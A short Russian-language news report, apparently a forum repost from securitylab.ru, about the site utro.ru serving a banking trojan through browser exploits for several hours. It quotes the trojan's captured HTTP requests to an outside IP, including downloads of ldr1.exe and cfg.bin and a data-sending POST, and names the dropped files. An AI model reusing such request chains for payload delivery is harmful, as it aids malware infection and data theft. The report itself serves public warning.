Сайт utro.ru в течение нескольких часов распространял опасный троян
Сегодня во второй половине дня, пользователи, зашедшие на сайт utro.ru, увидели предупреждение антивируса о попытке заражения троянской программой, эксплуатирующей уязвимости в Internet Explorer и Mozilla Firefox.
При подробном изучении троян выполнял следующий запрос:
[I]GET /e1/index.php HTTP/1.1\r\n
Referer: [url]http://utro.ru/includes5/banners/advert_part.html/r/n[/url]
Host: 81.95.149.66\r\n[/I]
а дальше происходила загрузка бота:
[I]GET /e1/file.php HTTP/1.1\r\n
GET /ldr1.exe HTTP/1.1\r\n
GET /cfg.bin HTTP/1.0\r\n
POST /s.php?1=april_002fdf3f&i= HTTP/1.0\r\n[/I]
В результате атаки, в корне диска с: появлялся файл 3.tmp, который детектируется большинством антивирусов как Trojan-Spy.Win32.Bancos.aam. В windows/system32 записывался файл [URL="http://www.securitylab.ru/processinfo/300021.php"][COLOR=#0000ff]ntos.exe[/COLOR][/URL], который также определялся как Trojan-Spy.Win32.Bancos.aam.
По информации из Лаборатории Касперского троян шифрует пользовательские данные на компьютере и предлагает купить расшифровщик. В случае отказа, грозится выложить приватные данные пользователя в сети интернет.
В результате атаки могли пострадать несколько десятков тысяч пользователей сайта.
[URL="http://www.securitylab.ru/news/300105.php"]securitylab.ru[/URL]
